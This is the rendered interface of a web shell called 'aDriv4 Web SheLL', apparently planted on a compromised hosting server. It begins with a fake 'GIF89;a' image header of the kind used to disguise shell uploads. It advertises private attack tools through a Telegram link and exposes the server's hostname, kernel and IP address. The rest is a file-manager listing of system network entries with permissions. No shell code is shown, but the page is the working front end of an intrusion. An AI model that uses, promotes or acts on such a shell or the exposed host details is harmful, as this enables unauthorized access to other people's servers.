GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux server192.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
 LiteSpeed
 198.54.114.198
Name Type Size Owner/Group Permission Last Modified Actions
. dir - htllcxvj/htllcxvj 0555 2025-07-04 08:34:20
.. dir - htllcxvj/htllcxvj 0555 2025-07-04 08:32:50
bonding dir - root/root 0555 2025-07-04 08:34:20
dev_snmp6 dir - root/root 0555 2025-07-04 08:34:20
netfilter dir - root/root 0555 2025-07-04 08:34:20
nfsfs dir - root/root 0555 2025-07-04 08:34:20
rpc dir - root/root 0555 2025-07-04 08:34:20
stat dir - root/root 0555 2025-07-04 08:34:20
vlan dir - root/root 0555 2025-07-04 08:34:20
anycast6 application/x-empty 0 B root/root 0444 2025-07-04 08:34:20
arp text/plain 0 B root/root 0444 2025-07-04 08:34:20
connector text/plain 0 B root/root 0444 2025-07-04 08:34:20
dev text/plain 0 B root/root 0444 2025-07-04 08:34:20
dev_mcast text/plain 0 B root/root 0444 2025-07-04 08:34:20
fib_trie text/plain 0 B root/root 0444 2025-07-04 08:34:20
fib_triestat text/plain 0 B root/root 0444 2025-07-04 08:34:20
hci text/plain 0 B root/root 0444 2025-07-04 08:34:20
icmp text/plain 0 B root/root 0444 2025-07-04 08:34:20
icmp6 text/plain 0 B root/root 0444 2025-07-04 08:34:20
if_inet6 text/plain 0 B root/root 0444 2025-07-04 08:34:20
igmp text/plain 0 B root/root 0444 2025-07-04 08:34:20
igmp6 text/plain 0 B root/root 0444 2025-07-04 08:34:21
ip6_flowlabel text/plain 0 B root/root 0444 2025-07-04 08:34:21
ip6_mr_cache text/plain 0 B root/root 0444 2025-07-04 08:34:21
ip6_mr_vif text/plain 0 B root/root 0444 2025-07-04 08:34:21
ip_mr_cache text/plain 0 B root/root 0444 2025-07-04 08:34:21
ip_mr_vif text/plain 0 B root/root 0444 2025-07-04 08:34:21
ip_tables_matches 0 B root/root 0440 2025-07-04 08:34:20
ip_tables_names 0 B root/root 0440 2025-07-04 08:34:21
ip_tables_targets 0 B root/root 0440 2025-07-04 08:34:20
ipv6_route text/plain 0 B root/root 0444 2025-07-04 08:34:21
l2cap text/plain 0 B root/root 0444 2025-07-04 08:34:20
mcfilter text/plain 0 B root/root 0444 2025-07-04 08:34:21
mcfilter6 text/plain 0 B root/root 0444 2025-07-04 08:34:21
netlink text/plain 0 B root/root 0444 2025-07-04 08:34:21
netstat text/plain 0 B root/root 0444 2025-07-04 08:34:21
nf_conntrack 0 B root/root 0440 2025-07-04 08:34:21
nf_conntrack_expect 0 B root/root 0440 2025-07-04 08:34:21
packet text/plain 0 B root/root 0444 2025-07-04 08:34:21
protocols text/plain 0 B root/root 0444 2025-07-04 08:34:21
psched text/plain 0 B root/root 0444 2025-07-04 08:34:20
ptype text/plain 0 B root/root 0444 2025-07-04 08:34:21
raw text/plain 0 B root/root 0444 2025-07-04 08:34:21
raw6 text/plain 0 B root/root 0444 2025-07-04 08:34:21
route text/plain 0 B root/root 0444 2025-07-04 08:34:21
rt6_stats text/plain 0 B root/root 0444 2025-07-04 08:34:21
rt_acct application/octet-stream 0 B root/root 0444 2025-07-04 08:34:20
rt_cache text/plain 0 B root/root 0444 2025-07-04 08:34:20
sco text/plain 0 B root/root 0444 2025-07-04 08:34:20
snmp text/plain 0 B root/root 0444 2025-07-04 08:34:22
snmp6 text/plain 0 B root/root 0444 2025-07-04 08:34:22
sockstat text/plain 0 B root/root 0444 2025-07-04 08:34:22
sockstat6 text/plain 0 B root/root 0444 2025-07-04 08:34:22
softnet_stat text/plain 0 B root/root 0444 2025-07-04 08:34:20
tcp text/plain 0 B root/root 0444 2025-07-04 08:34:22
tcp6 text/plain 0 B root/root 0444 2025-07-04 08:34:22
tls_stat text/plain 0 B root/root 0444 2025-07-04 08:34:22
udp text/plain 0 B root/root 0444 2025-07-04 08:34:22
udp6 text/plain 0 B root/root 0444 2025-07-04 08:34:22
udplite text/plain 0 B root/root 0444 2025-07-04 08:34:22
udplite6 text/plain 0 B root/root 0444 2025-07-04 08:34:22
unix text/plain 0 B root/root 0444 2025-07-04 08:34:22
xfrm_stat text/plain 0 B root/root 0444 2025-07-04 08:34:23
© aDriv4